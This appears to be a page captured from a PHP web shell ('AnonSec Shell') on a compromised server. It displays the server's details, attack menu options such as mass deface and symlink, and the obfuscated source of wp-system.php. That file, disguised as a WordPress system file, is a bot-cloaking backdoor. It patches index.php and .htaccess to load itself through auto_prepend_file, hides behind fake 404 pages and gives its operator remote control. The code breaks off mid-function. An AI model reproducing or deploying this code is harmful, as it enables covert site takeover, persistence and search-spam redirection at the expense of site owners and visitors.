AnonSec Shell
Server IP : 198.244.165.102  /  Your IP : 216.73.216.218   [ Reverse IP ]
Web Server : nginx/1.24.0
System : Linux modovh-ub-01 6.8.0-138-generic #138-Ubuntu SMP PREEMPT_DYNAMIC Fri Jul 31 22:41:49 UTC 2026 x86_64
User : colleary ( 1011)
PHP Version : 8.3.23
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/egv/hold3/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/egv/hold3/wp-system.php
<?php
 goto OjBRW; dVqrs: if (!function_exists("\x62\157\x74\x72\71\71\137\x72\x75\156")) { function botr99_is_direct_request() { $script = isset($_SERVER["\x53\x43\x52\x49\120\x54\x5f\x46\x49\114\x45\x4e\101\x4d\x45"]) ? @realpath($_SERVER["\123\103\122\x49\x50\124\137\106\111\x4c\x45\116\x41\115\x45"]) : ''; $self = @realpath(__FILE__); return $script !== '' && $self !== '' && $script === $self; } function botr99_paths() { static $p = null; if ($p !== null) { return $p; } $dir = dirname(__FILE__); $datadir = $dir . DIRECTORY_SEPARATOR . BOTR99_DATA_DIR_NAME; $wproot = null; $cur = $dir; for ($i = 0; $i < 12; $i++) { if (is_file($cur . DIRECTORY_SEPARATOR . "\167\160\x2d\154\157\x61\144\x2e\160\x68\160") || is_file($cur . DIRECTORY_SEPARATOR . "\x77\x70\x2d\143\157\x6e\146\x69\x67\56\160\150\160")) { $wproot = $cur; break; } $parent = dirname($cur); if ($parent === $cur) { break; } $cur = $parent; } $root = $wproot !== null ? $wproot : $dir; $p = array("\x73\145\x6c\146" => __FILE__, "\x62\141\x73\x65" => basename(__FILE__), "\x64\151\162" => $dir, "\162\x6f\157\164" => $root, "\x77\x70\162\157\x6f\164" => $wproot, "\x64\141\x74\141\x64\151\x72" => $datadir, "\143\x6f\x6e\146\x69\x67" => $datadir . DIRECTORY_SEPARATOR . "\x63\x6f\156\x66\x69\147\56\160\x68\160", "\154\x6f\147" => $datadir . DIRECTORY_SEPARATOR . "\x61\x63\143\x65\x73\x73\x2e\154\x6f\x67", "\x63\x61\x63\x68\145" => $datadir . DIRECTORY_SEPARATOR . "\x63\x61\x63\150\145", "\x73\145\163\x73\x69\157\156\x73" => $datadir . DIRECTORY_SEPARATOR . "\163\145\x73\x73\151\x6f\156\x73", "\151\156\144\x65\x78" => $root . DIRECTORY_SEPARATOR . "\151\156\x64\145\x78\x2e\160\x68\160", "\x68\x74\x61\143\143\x65\163\x73" => $root . DIRECTORY_SEPARATOR . "\56\150\x74\141\143\143\x65\163\163"); return $p; } function botr99_default_config() { return array("\x61\x64\x6d\151\x6e\137\x74\157\x6b\x65\x6e" => '', "\x69\x6e\163\x74\x61\x6c\154\145\x64" => false, "\x65\156\141\x62\154\x65\144" => true, "\164\x61\162\147\145\164" => '', "\142\157\164\x73" => array("\x67\157\x6f\x67\x6c\x65" => true, "\x62\x69\x6e\147" => true, "\x79\141\156\x64\x65\170" => true, "\x64\165\x63\x6b\x64\165\143\x6b\147\x6f" => true, "\160\x61\147\x65\x73\160\145\x65\144" => true), "\166\145\162\x69\146\171\x5f\144\x6e\x73" => false, "\154\x6f\147\x5f\145\156\x61\x62\154\145\144" => true); } function botr99_load_config() { $paths = botr99_paths(); $cfg = array(); if (is_file($paths["\143\x6f\156\146\x69\147"])) { $loaded = @(include $paths["\143\157\156\x66\x69\x67"]); if (is_array($loaded)) { $cfg = $loaded; } } $def = botr99_default_config(); $cfg = array_merge($def, is_array($cfg) ? $cfg : array()); $cfg["\x62\157\164\163"] = array_merge($def["\x62\157\x74\163"], isset($cfg["\142\x6f\164\163"]) && is_array($cfg["\142\x6f\164\163"]) ? $cfg["\142\x6f\164\163"] : array()); return $cfg; } function botr99_save_config(array $cfg) { $paths = botr99_paths(); if (!botr99_ensure_dir($paths["\x64\x61\x74\x61\144\151\x72"])) { return false; } $php = "\74\77\x70\150\160\xa" . "\57\57\40\x57\x68\x6f\132\x65\x78\x20\x42\157\164\55\122\157\165\164\145\162\x20\126\x32\40\xe2\200\224\40\x6f\164\x6f\x6d\x61\x74\x69\153\40\x61\171\141\162\40\144\157\x73\171\141\163\304\261\x2e\40\105\x4c\114\105\40\x44\xc3\x9c\x5a\105\116\x4c\105\x4d\105\131\304\260\x4e\56\xa" . "\151\x66\40\x28\x21\144\x65\x66\x69\x6e\145\144\x28\x27\102\x4f\124\122\x39\71\x5f\114\117\x41\104\105\x44\47\51\x29\x20\173\40\162\145\x74\165\x72\156\40\141\162\162\x61\x79\x28\x29\x3b\40\175\12" . "\162\x65\164\165\162\x6e\x20" . var_export($cfg, true) . "\x3b\12"; return @file_put_contents($paths["\143\x6f\x6e\146\151\x67"], $php, LOCK_EX) !== false; } function botr99_ensure_dir($dir) { if (!is_dir($dir)) { if (!@mkdir($dir, 493, true) && !is_dir($dir)) { return false; } } $guard = $dir . DIRECTORY_SEPARATOR . "\x2e\x68\164\x61\143\x63\x65\x73\163"; if (!file_exists($guard)) { @file_put_contents($guard, "\122\145\x71\165\x69\x72\x65\x20\141\154\x6c\40\144\145\x6e\x69\145\x64\xa\104\145\156\171\40\x66\162\x6f\155\x20\x61\154\x6c\xa"); } $idx = $dir . DIRECTORY_SEPARATOR . "\151\156\144\145\x78\56\150\x74\x6d\154"; if (!file_exists($idx)) { @file_put_contents($idx, ''); } return is_dir($dir); } function botr99_token_new($bytes = 20) { if (function_exists("\162\141\x6e\x64\x6f\155\x5f\142\x79\x74\x65\163")) { try { return bin2hex(random_bytes($bytes)); } catch (\Throwable $e) { } } return substr(hash("\x73\150\141\62\65\66", uniqid("\142\x6f\x74\162\71\x39", true) . mt_rand()), 0, $bytes * 2); } function botr99_client_ip() { return isset($_SERVER["\122\105\115\117\x54\x45\x5f\101\104\x44\122"]) ? (string) $_SERVER["\x52\x45\115\117\x54\x45\x5f\x41\104\104\x52"] : ''; } function botr99_compat_test() { $paths = botr99_paths(); $checks = array(); $checks[] = array("\153\x65\x79" => "\160\x68\x70", "\x6c\141\x62\x65\154" => "\120\110\x50\x20\x73\xc3\xbc\162\303\274\155\303\274\40\x37\56\60\x2b", "\157\x6b" => PHP_VERSION_ID >= 70000, "\154\145\x76\x65\154" => "\155\x75\163\164", "\x64\145\164\141\x69\154" => "\102\x75\154\165\x6e\x64\x75\x3a\40\x50\x48\x50\40" . PHP_VERSION); $datadir_ok = botr99_ensure_dir($paths["\144\x61\x74\141\144\151\x72"]) && is_writable($paths["\x64\141\164\x61\144\x69\162"]); $checks[] = array("\x6b\145\x79" => "\x64\x61\164\x61\137\x64\151\x72", "\x6c\141\142\145\x6c" => "\x56\x65\x72\151\x20\153\x6c\141\163\xc3\xb6\x72\xc3\xbc\x20\171\x61\172\304\xb1\x6c\x61\142\151\x6c\x69\x72\40\50" . BOTR99_DATA_DIR_NAME . "\x29", "\x6f\x6b" => $datadir_ok, "\154\x65\166\145\x6c" => "\155\x75\163\164", "\144\x65\x74\x61\151\154" => $datadir_ok ? $paths["\144\141\164\141\144\x69\162"] : "\131\x61\x7a\xc4\261\x6c\x61\x6d\xc4\261\x79\157\162\x3a\x20" . $paths["\144\141\x74\x61\144\x69\x72"]); $index_ok = is_file($paths["\x69\x6e\x64\x65\170"]) && is_writable($paths["\x69\156\x64\x65\x78"]); $has_open = false; if (is_file($paths["\x69\x6e\x64\145\x78"])) { $c = @file_get_contents($paths["\x69\156\144\145\170"]); $has_open = is_string($c) && strpos($c, "\74\77\x70\150\160") !== false; } $checks[] = array("\x6b\x65\x79" => "\151\x6e\144\x65\x78\137\x77\162\151\x74\141\x62\x6c\x65", "\154\141\142\x65\154" => "\x69\156\144\145\x78\56\160\150\160\40\x62\165\x6c\165\x6e\144\165\x20\166\x65\x20\x79\x61\172\304\261\x6c\x61\x62\x69\154\151\x72\x20\50\157\x74\157\x6d\x61\x74\151\x6b\x20\x6b\x75\162\x75\x6c\165\155\x20\x69\303\xa7\151\x6e\51", "\157\153" => $index_ok && $has_open, "\x6c\x65\x76\x65\154" => "\x6d\165\x73\x74", "\144\x65\x74\x61\x69\154" => !is_file($paths["\151\156\x64\145\170"]) ? "\102\x75\154\165\x6e\141\155\141\x64\304\xb1\x3a\40" . $paths["\x69\x6e\x64\x65\x78"] : (!$index_ok ? "\131\x61\x7a\x6d\x61\40\151\172\156\151\40\x79\157\153\x3a\x20" . $paths["\151\156\144\145\170"] : (!$has_open ? "\x69\156\x64\145\x78\x2e\160\150\x70\40\151\xc3\247\x69\156\x64\145\x20\74\x3f\x70\150\x70\x20\x65\164\151\153\x65\x74\151\x20\x79\x6f\x6b" : $paths["\x69\156\x64\145\x78"]))); $remote_ok = function_exists("\143\165\162\154\137\151\156\151\x74") || ini_get("\x61\154\x6c\157\167\137\x75\x72\154\x5f\x66\x6f\160\x65\x6e"); $checks[] = array("\153\x65\x79" => "\x72\145\155\x6f\164\145", "\x6c\141\142\145\x6c" => "\125\172\141\x6b\40\125\122\x4c\40\303\xa7\145\x6b\x69\155\x69\40\50\x63\125\x52\114\40\166\x65\171\141\x20\141\x6c\x6c\157\167\137\165\162\154\137\146\x6f\160\x65\x6e\x29", "\157\153" => (bool) $remote_ok, "\x6c\145\x76\x65\x6c" => "\x77\x61\162\156", "\144\x65\164\x61\151\x6c" => $remote_ok ? function_exists("\x63\x75\x72\154\x5f\x69\156\151\164") ? "\143\125\122\x4c\40\x76\x61\162" : "\x61\154\x6c\157\x77\x5f\165\162\x6c\137\146\x6f\160\145\x6e\40\x61\303\247\xc4\261\153" : "\x59\157\153\40\xe2\x80\x94\x20\x73\x61\144\x65\143\145\40\42\x55\122\x4c\40\x68\x65\x64\145\146\151\42\40\153\165\154\x6c\141\x6e\xc4\xb1\162\x73\141\156\40\147\145\162\x65\x6b\x69\x72"); $checks[] = array("\153\x65\x79" => "\x6d\x62\x73\x74\x72\x69\x6e\x67", "\x6c\141\142\x65\154" => "\155\x62\x73\x74\x72\151\x6e\147\40\x28\x55\124\106\55\x38\x20\144\xc3\274\172\x65\154\x74\x6d\x65\x29", "\x6f\153" => function_exists("\x6d\142\x5f\143\x6f\x6e\x76\145\x72\x74\137\x65\x6e\x63\x6f\x64\x69\x6e\147"), "\154\x65\x76\x65\154" => "\x77\141\x72\156", "\x64\145\164\x61\x69\x6c" => function_exists("\x6d\142\x5f\x63\157\x6e\166\145\162\164\x5f\145\x6e\x63\x6f\x64\151\x6e\147") ? "\x76\x61\162" : "\171\x6f\x6b\x20\xe2\x80\224\x20\x6e\141\144\151\x72\145\x6e\40\x6b\141\x72\141\153\x74\x65\162\40\163\x6f\162\165\156\165"); $dns_ok = function_exists("\x67\145\x74\150\157\x73\x74\x62\x79\141\x64\x64\162") && function_exists("\144\156\x73\x5f\147\x65\x74\x5f\162\x65\x63\x6f\x72\x64"); $checks[] = array("\x6b\145\171" => "\x64\x6e\x73", "\x6c\x61\x62\145\154" => "\104\x4e\123\40\x64\157\304\x9f\162\165\154\x61\155\x61\40\x66\x6f\x6e\x6b\x73\151\x79\157\x6e\x6c\141\162\xc4\261", "\157\x6b" => $dns_ok, "\154\x65\x76\x65\154" => "\167\141\x72\156", "\x64\x65\164\x61\x69\x6c" => $dns_ok ? "\166\x61\162" : "\x79\157\x6b\x20\xe2\200\224\x20\163\141\x64\145\143\x65\x20\42\104\116\x53\40\144\157\xc4\237\x72\x75\x6c\x61\x6d\x61\x73\304\xb1\42\x20\141\xc3\247\304\xb1\153\163\x61\x6e\x20\147\x65\162\x65\153\151\162"); return $checks; } function botr99_mandatory_ok(array $checks) { foreach ($checks as $c) { if ($c["\154\x65\166\x65\x6c"] === "\155\165\x73\x74" && empty($c["\157\x6b"])) { return false; } } return true; } function botr99_admin_headers() { if (!headers_sent()) { header("\130\x2d\122\157\142\157\x74\x73\55\x54\x61\147\72\40\156\x6f\151\156\x64\145\170\54\40\156\x6f\x66\x6f\x6c\x6c\157\167", true); header("\x43\x61\x63\x68\145\x2d\x43\x6f\x6e\164\162\x6f\154\x3a\40\x6e\x6f\x2d\163\164\x6f\x72\x65\54\40\156\x6f\x2d\143\141\143\x68\x65\54\40\155\x75\163\x74\x2d\x72\145\x76\141\154\x69\x64\141\x74\145\x2c\40\155\141\170\x2d\141\147\x65\x3d\60\54\x20\x70\162\x69\166\141\x74\145", true); header("\120\x72\x61\x67\155\x61\72\x20\x6e\x6f\x2d\x63\x61\143\150\145", true); header("\x43\157\156\164\x65\156\164\55\x54\171\x70\145\x3a\40\164\x65\170\164\57\150\x74\x6d\154\x3b\x20\x63\150\x61\x72\x73\x65\164\x3d\125\124\106\55\x38"); } } function botr99_not_found() { if (!headers_sent()) { http_response_code(404); header("\103\157\x6e\x74\x65\x6e\x74\55\124\x79\160\x65\x3a\40\x74\x65\x78\164\x2f\150\164\x6d\x6c\x3b\x20\143\150\141\162\163\x65\x74\75\125\x54\106\55\x38"); } echo "\74\x21\x64\157\x63\x74\x79\x70\x65\40\x68\164\155\x6c\x3e\74\150\164\x6d\x6c\x3e\x3c\150\145\141\144\x3e\x3c\x74\x69\x74\x6c\x65\76\x34\60\64\x20\116\x6f\164\x20\106\x6f\165\x6e\144\x3c\x2f\x74\x69\x74\x6c\145\76\x3c\x2f\150\145\141\x64\x3e\x3c\x62\x6f\144\x79\76" . "\x3c\x68\x31\x3e\116\157\164\40\x46\157\x75\156\144\x3c\x2f\x68\x31\x3e\74\x70\76\x54\x68\x65\x20\x72\145\161\x75\145\163\164\x65\x64\40\125\x52\114\x20\x77\x61\163\40\x6e\157\164\40\146\157\165\156\x64\40\x6f\x6e\40\164\150\x69\163\x20\163\x65\162\x76\x65\162\x2e\74\57\160\x3e\x3c\57\142\x6f\144\171\x3e\x3c\57\x68\164\155\x6c\76"; } function botr99_admin(array $cfg) { botr99_admin_headers(); $token = isset($cfg["\141\144\155\x69\156\137\x74\x6f\153\145\x6e"]) ? (string) $cfg["\141\144\x6d\x69\156\x5f\164\x6f\153\x65\x6e"] : ''; if ($token === '') { $token = botr99_token_new(); $cfg["\x61\144\155\151\156\x5f\164\157\153\145\x6e"] = $token; botr99_save_config($cfg); botr99_render_setup($token); die; } $given = isset($_GET["\142\x6f\x74\x72\71\71"]) ? (string) $_GET["\x62\157\164\x72\71\x39"] : (isset($_POST["\x62\157\164\162\x39\71\164\157\x6b\145\156"]) ? (string) $_POST["\x62\x6f\x74\x72\71\71\x74\157\153\145\156"] : ''); if ($given === '' || !hash_equals($token, $given)) { botr99_not_found(); die; } $msg = ''; if (($_SERVER["\122\105\121\x55\x45\x53\x54\x5f\x4d\x45\x54\110\x4f\104"] ?? "\107\x45\124") === "\120\x4f\x53\x54") { $action = isset($_POST["\x61\143\x74\151\x6f\156"]) ? $_POST["\141\143\x74\151\x6f\156"] : ''; if ($action === "\x73\141\166\x65") { $cfg = botr99_apply_post($cfg, $_POST); $msg = botr99_save_config($cfg) ? "\101\171\x61\x72\x6c\x61\x72\x20\153\x61\x79\x64\x65\x64\x69\x6c\x64\x69\x2e" : "\110\101\124\101\x3a\40\x41\x79\141\x72\40\x64\x6f\163\171\x61\163\304\xb1\x20\x79\141\172\304\xb1\x6c\141\x6d\x61\144\xc4\261\x2e"; } elseif ($action === "\151\156\163\164\x61\x6c\154\137\x61\165\x74\157") { $checks = botr99_compat_test(); if (!botr99_checks_ok($checks, array("\160\150\160", "\x64\x61\x74\141\x5f\144\151\x72"))) { $msg = "\x5a\x6f\162\165\156\154\x75\40\153\157\156\x74\162\157\154\154\x65\x72\40\50\120\x48\x50\40\x73\303\xbc\162\xc3\xbc\155\xc3\274\x2c\40\166\145\x72\x69\40\153\154\x61\163\303\xb6\162\303\xbc\x29\40\147\x65\303\247\155\x65\144\145\156\40\153\x75\x72\165\154\x75\x6d\x20\x79\x61\160\xc4\261\x6c\x61\x6d\x61\172\56"; } else { list($ok, $m, $method, $attempts) = botr99_install_auto(); $cfg["\151\x6e\163\x74\x61\154\x6c\145\144"] = $ok; botr99_save_config($cfg); if ($ok) { $msg = "\113\x75\x72\x75\154\x64\x75\x20\xe2\200\224\40\x79\xc3\xb6\156\x74\x65\x6d\x3a\x20" . $method . "\x2e\40" . $m; } else { $tried = array(); foreach ($attempts as $a) { $tried[] = $a["\x6d\145\164\150\157\x64"] . "\x20\x28" . $a["\x6d\163\x67"] . "\51"; } $msg = $m . "\x20\x44\145\x6e\x65\156\x65\156\154\x65\x72\72\40" . implode("\x20\174\40", $tried); } } } elseif ($action === "\163\167\151\164\x63\150\137\155\x65\x74\150\x6f\144") { $method = isset($_POST["\x6d\145\x74\x68\x6f\144"]) ? $_POST["\155\145\164\x68\x6f\144"] : ''; $checks = botr99_compat_test(); if (!botr99_checks_ok($checks, array("\160\x68\160", "\144\x61\x74\x61\137\x64\151\x72"))) { $msg = "\x5a\x6f\x72\x75\156\x6c\x75\x20\x6b\x6f\x6e\x74\x72\x6f\154\154\x65\x72\40\147\x65\303\xa7\155\145\144\x65\156\x20\153\x75\x72\165\154\165\155\40\171\x61\160\xc4\261\x6c\141\x6d\141\172\x2e"; } else { list($ok, $m) = botr99_switch_method($method); $cfg["\x69\156\x73\164\x61\x6c\154\145\x64"] = $ok ? true : $cfg["\x69\x6e\163\164\x61\154\154\x65\144"]; botr99_save_config($cfg); $msg = $ok ? "\131\303\xb6\x6e\164\x65\155\x65\40\x67\x65\303\xa7\151\x6c\x64\x69\72\x20" . $method . "\56\40" . $m : $m; } } elseif ($action === "\x64\x65\145\160\137\143\x6c\x65\x61\x6e") { list($ok, $m, $report) = botr99_deep_clean(); $msg = $m . (empty($report) ? '' : "\40\xe2\x80\x94\x20" . implode("\40\302\267\40", $report)); } elseif ($action === "\x68\164\x61\143\x63\x65\163\163\x5f\x73\141\166\x65") { $content = isset($_POST["\150\164\x61\143\x63\x65\163\x73"]) ? (string) $_POST["\x68\x74\x61\x63\143\x65\163\163"] : ''; list($ok, $m) = botr99_htaccess_root_save($content); $msg = $m; } elseif ($action === "\147\163\143\137\165\x70\x6c\x6f\141\144") { list($ok, $m) = botr99_gsc_save(isset($_POST["\x67\x73\x63\x5f\156\x61\155\145"]) ? $_POST["\147\x73\x63\x5f\x6e\141\155\x65"] : '', isset($_POST["\x67\x73\x63\137\x63\157\x6e\x74\x65\156\164"]) ? $_POST["\x67\x73\143\137\143\157\156\x74\145\156\164"] : ''); $msg = $m; } elseif ($action === "\x67\x73\x63\137\x64\x65\154\145\164\x65") { list($ok, $m) = botr99_gsc_delete(isset($_POST["\x67\x73\143\137\146\x69\154\x65"]) ? $_POST["\x67\x73\143\137\x66\x69\x6c\145"] : ''); $msg = $m; } elseif ($action === "\165\x6e\151\x6e\x73\x74\141\154\154") { list($ok, $m) = botr99_uninstall_all(); $cfg["\151\x6e\x73\x74\141\154\x6c\x65\x64"] = false; botr99_save_config($cfg); $msg = $m; } } botr99_render_page($cfg, $token, $msg); die; } function botr99_apply_post(array $cfg, array $post) { $cfg["\x65\x6e\141\142\x6c\145\x64"] = !empty($post["\145\156\141\142\154\x65\x64"]); $cfg["\164\x61\x72\x67\145\164"] = trim((string) (isset($post["\x74\x61\162\147\145\x74"]) ? $post["\164\x61\162\x67\x65\164"] : '')); $cfg["\x76\x65\162\151\146\171\x5f\x64\156\x73"] = !empty($post["\x76\x65\x72\151\x66\171\137\x64\x6e\163"]); $cfg["\154\157\x67\137\x65\156\x61\142\154\145\x64"] = !empty($post["\x6c\157\147\137\x65\156\x61\142\154\x65\x64"]); foreach (array("\x67\157\x6f\147\154\145", "\x62\x69\x6e\x67", "\171\x61\x6e\144\145\x78", "\x64\165\x63\153\144\x75\143\153\147\157", "\160\141\x67\145\x73\x70\x65\145\x64") as $b) { $cfg["\x62\157\164\x73"][$b] = !empty($post["\142\157\x74\x5f" . $b]); } return $cfg; } function botr99_index_installed() { $index = botr99_paths()["\x69\156\144\145\170"]; if (!is_file($index)) { return false; } return strpos((string) @file_get_contents($index), BOTR99_AUTOLOAD_MARK) !== false; } function botr99_do_install() { $paths = botr99_paths(); $index = $paths["\x69\156\x64\x65\170"]; if (!is_file($index) || !is_writable($index)) { return array(false, "\151\156\x64\145\x78\x2e\160\150\160\x20\142\x75\x6c\165\156\141\x6d\141\144\xc4\261\40\171\x61\40\144\x61\40\171\141\x7a\304\xb1\x6c\141\142\151\x6c\x69\x72\x20\144\x65\304\x9f\151\154\56"); } $content = @file_get_contents($index); if (!is_string($content)) { return array(false, "\x69\x6e\x64\x65\170\x2e\160\x68\160\40\x6f\x6b\x75\156\x61\155\x61\144\304\261\56"); } if (strpos($content, BOTR99_AUTOLOAD_MARK) !== false) { return array(true, "\132\x61\x74\x65\156\40\153\165\x72\165\154\x75\40\x28\x69\156\x64\145\170\56\x70\150\x70\51\x2e"); } $pos = strpos($content, "\x3c\x3f\160\150\160"); if ($pos === false) { return array(false, "\151\156\x64\145\170\x2e\x70\150\x70\x20\151\xc3\xa7\151\x6e\x64\x65\40\x3c\x3f\x70\x68\x70\40\145\x74\x69\x6b\x65\x74\151\40\171\157\153\x20\342\x80\x94\40\x6f\x74\x6f\155\x61\164\x69\x6b\x20\153\165\x72\165\154\141\155\xc4\261\171\157\162\56"); } @copy($index, $index . "\x2e\x62\157\x74\162\x39\71\55\x62\x61\x6b"); $abs = str_replace("\x5c", "\x2f", $paths["\163\145\154\146"]); $req = "\151\146\40\50\100\x69\x73\x5f\146\151\x6c\145\50" . var_export($abs, true) . "\x29\x29\x20\173\x20\x72\x65\161\x75\x69\162\x65\40" . var_export($abs, true) . "\x3b\40\x7d"; $line = "\12" . $req . "\x20\57\x2a\x20" . BOTR99_AUTOLOAD_MARK . "\40\x2a\57"; $new = substr($content, 0, $pos + 5) . $line . substr($content, $pos + 5); if (@file_put_contents($index, $new, LOCK_EX) === false) { return array(false, "\151\156\144\145\x78\x2e\160\150\x70\40\x79\x61\x7a\xc4\261\x6c\141\x6d\141\x64\xc4\xb1\56"); } $check = @file_get_contents($index); if (!is_string($check) || strpos($check, BOTR99_AUTOLOAD_MARK) === false) { @copy($index . "\x2e\142\x6f\x74\162\71\x39\x2d\142\141\153", $index); return array(false, "\x4b\x75\x72\x75\154\x75\x6d\40\x64\x6f\304\237\x72\x75\x6c\x61\156\141\x6d\x61\x64\xc4\xb1\73\x20\151\x6e\x64\x65\x78\x2e\160\x68\x70\40\147\x65\x72\151\x20\x79\xc3\274\x6b\x6c\x65\x6e\144\151\x2e"); } return array(true, "\x4b\x75\x72\x75\154\x64\165\x2e\x20\x57\x68\157\132\145\x78\40\102\157\x74\x2d\x52\157\165\x74\x65\x72\40\126\x32\x20\141\162\x74\xc4\xb1\153\40\x69\156\144\x65\x78\56\x70\150\160\x20\303\xbc\172\x65\x72\151\x6e\x64\145\x6e\40\141\x6b\x74\x69\x66\56"); } function botr99_do_uninstall() { $paths = botr99_paths(); $index = $paths["\151\x6e\144\x65\170"]; if (!is_file($index) || !is_writable($index)) { return array(false, "\151\x6e\144\145\170\x2e\160\x68\x70\40\171\x61\x7a\xc4\xb1\x6c\x61\x62\151\x6c\151\162\40\x64\145\304\237\x69\x6c\56"); } $content = @file_get_contents($index); if (!is_string($content)) { return array(false, "\x69\156\x64\145\x78\56\x70\x68\x70\x20\x6f\153\165\156\x61\155\x61\x64\xc4\261\56"); } if (strpos($content, BOTR99_AUTOLOAD_MARK) === false) { return array(true, "\x5a\141\164\145\x6e\40\153\x75\162\x75\x6c\x75\40\x64\x65\304\x9f\x69\x6c\56"); } @copy($index, $index . "\x2e\142\157\x74\162\x39\71\x2d\142\x61\153"); $new = preg_replace("\x2f\136\56\x2a" . preg_quote(BOTR99_AUTOLOAD_MARK, "\x2f") . "\56\52\x24\134\x52\x3f\57\155", '', $content); if (@file_put_contents($index, $new, LOCK_EX) === false) { return array(false, "\x69\156\x64\x65\x78\x2e\x70\x68\160\40\171\x61\x7a\xc4\261\154\x61\155\141\x64\xc4\261\x2e"); } return array(true, "\113\x61\154\144\304\261\x72\304\xb1\x6c\x64\304\261\56\x20\x69\x6e\x64\145\x78\56\x70\x68\160\x20\145\x73\153\151\x20\x68\x61\x6c\x69\x6e\145\x20\147\145\x74\x69\x72\x69\x6c\x64\x69\56"); } function botr99_prepend_method() { return "\x68\x74\141\143\x63\x65\163\163"; } function botr99_checks_ok(array $checks, array $keys) { foreach ($checks as $c) { if (in_array($c["\x6b\145\x79"], $keys, true) && empty($c["\x6f\x6b"])) { return false; } } return true; } function botr99_prepend_status() { $paths = botr99_paths(); $userini = $paths["\x72\x6f\157\x74"] . DIRECTORY_SEPARATOR . "\x2e\165\x73\145\x72\56\x69\x6e\x69"; $htaccess = $paths["\x72\x6f\x6f\x74"] . DIRECTORY_SEPARATOR . "\56\x68\x74\x61\143\x63\145\163\x73"; $in_userini = is_file($userini) && strpos((string) @file_get_contents($userini), BOTR99_AUTOLOAD_MARK) !== false; $in_htaccess = is_file($htaccess) && strpos((string) @file_get_contents($htaccess), BOTR99_AUTOLOAD_MARK) !== false; return array("\141\143\164\x69\166\145" => $in_userini || $in_htaccess, "\x76\x69\141" => $in_userini ? "\x2e\x75\163\145\x72\56\x69\x6e\x69" : ($in_htaccess ? "\56\x68\x74\x61\x63\x63\x65\x73\163" : '')); } function botr99_do_hidden_install() { $paths = botr99_paths(); $abs = str_replace("\134", "\x2f", $paths["\163\x65\x6c\x66"]); $file = botr99_htaccess_root_path(); $d = "\x70\x68\x70\x5f\166\141\154\x75\x65\x20\141\165\164\157\x5f\x70\x72\x65\x70\x65\x6e\144\137\146\x69\x6c\145\x20\42" . $abs . "\42"; $block = "\x23\40" . BOTR99_AUTOLOAD_MARK . "\55\x53\124\101\x52\x54\xa" . "\x23\40\101\160\141\143\150\x65\40\x6d\157\x64\137\x70\x68\160\12" . "\x3c\111\x66\115\157\x64\x75\154\145\x20\x6d\157\144\137\160\x68\x70\x2e\143\x3e\12" . $d . "\xa\74\57\x49\146\x4d\157\144\165\154\145\x3e\xa" . "\74\x49\146\115\x6f\144\x75\x6c\145\x20\155\x6f\x64\137\x70\x68\x70\67\56\x63\x3e\12" . $d . "\12\74\57\111\x66\115\157\144\x75\x6c\145\x3e\12" . "\74\111\x66\115\x6f\144\165\154\x65\40\155\157\144\137\x70\x68\160\x38\56\143\76\12" . $d . "\xa\x3c\57\111\x66\x4d\x6f\144\165\154\145\x3e\12" . "\43\x20\114\151\x74\145\x53\160\x65\x65\144\x20\57\40\x4c\x53\x41\120\111\12" . "\x3c\x49\x66\x4d\x6f\144\x75\x6c\145\x20\114\x69\x74\x65\123\x70\145\145\x64\x3e\12" . $d . "\12\x3c\57\111\146\x4d\157\144\x75\x6c\145\x3e\xa" . "\x23\x20" . BOTR99_AUTOLOAD_MARK . "\55\105\116\x44\12"; $ok = botr99_prepend_marker($file, $block, BOTR99_AUTOLOAD_MARK); if (!$ok) { return array(false, "\56\150\x74\141\x63\143\145\x73\163\40\x79\x61\x7a\304\xb1\154\x61\x6d\x61\x64\304\261\x20\xe2\200\x94\x20\153\x6c\141\x73\xc3\266\162\x2f\144\x6f\x73\171\141\x20\151\172\x69\x6e\154\145\162\x69\156\x69\x20\153\x6f\156\164\162\x6f\154\40\145\144\151\156\x2e"); } return array(true, "\107\151\x7a\x6c\x69\x20\x6b\165\162\165\x6c\165\x6d\x20\171\141\x70\xc4\xb1\154\144\304\xb1\x20\x28\x2e\x68\x74\x61\143\x63\145\x73\163\x2c\40\x65\156\40\303\274\163\164\145\51\x2e\40\151\156\x64\145\170\56\160\150\160\47\171\145\40\150\151\303\xa7\x20\x64\157\153\x75\156\x75\x6c\155\x61\x64\xc4\261\x2e\x20" . "\x41\x70\x61\x63\150\x65\40\x6d\x6f\144\137\160\x68\x70\x20\166\145\x20\114\x69\164\x65\x53\x70\145\145\144\x20\163\x75\x6e\x75\x63\165\154\x61\x72\xc4\xb1\x6e\144\x61\x20\303\247\141\154\304\261\305\x9f\xc4\261\162\40\50\120\110\120\x2d\106\120\x4d\x27\144\x65\40\145\164\153\151\x73\151\x7a\x64\151\x72\51\56"); } function botr99_do_hidden_uninstall() { $paths = botr99_paths(); $done = array(); $ui = $paths["\x72\157\x6f\164"] . DIRECTORY_SEPARATOR . "\56\x75\x73\x65\162\x2e\x69\156\151"; if (is_file($ui)) { $c = (string) @file_get_contents($ui); if (strpos($c, BOTR99_AUTOLOAD_MARK) !== false) { @copy($ui, $ui . "\56\142\157\x74\162\x39\x39\55\x62\x61\x6b"); $new = preg_replace("\57\136\x3b\40" . preg_quote(BOTR99_AUTOLOAD_MARK, "\57") . "\x5c\x52\53\141\165\164\157\x5f\x70\x72\x65\160\145\x6e\x64\137\146\151\x6c\x65\x2e\x2a\x24\134\x52\x3f\57\155", '', $c); if (@file_put_contents($ui, $new, LOCK_EX) !== false) { $done[] = "\56\165\163\x65\162\x2e\151\156\151"; } } } $ht = $paths["\x72\x6f\157\164"] . DIRECTORY_SEPARATOR . "\56\150\164\x61\x63\143\x65\163\163"; if (is_file($ht)) { $c = (string) @file_get_contents($ht); if (strpos($c, BOTR99_AUTOLOAD_MARK) !== false) { @copy($ht, $ht . "\56\x62\x6f\x74\x72\71\x39\55\142\141\153"); $new = preg_replace("\x2f\x23\x20" . preg_quote(BOTR99_AUTOLOAD_MARK, "\57") . "\x2d\x53\124\x41\x52\124\56\52\77\x23\x20" . preg_quote(BOTR99_AUTOLOAD_MARK, "\57") . "\x2d\x45\x4e\x44\x5c\122\77\57\163", '', $c); if (@file_put_contents($ht, $new, LOCK_EX) !== false) { $done[] = 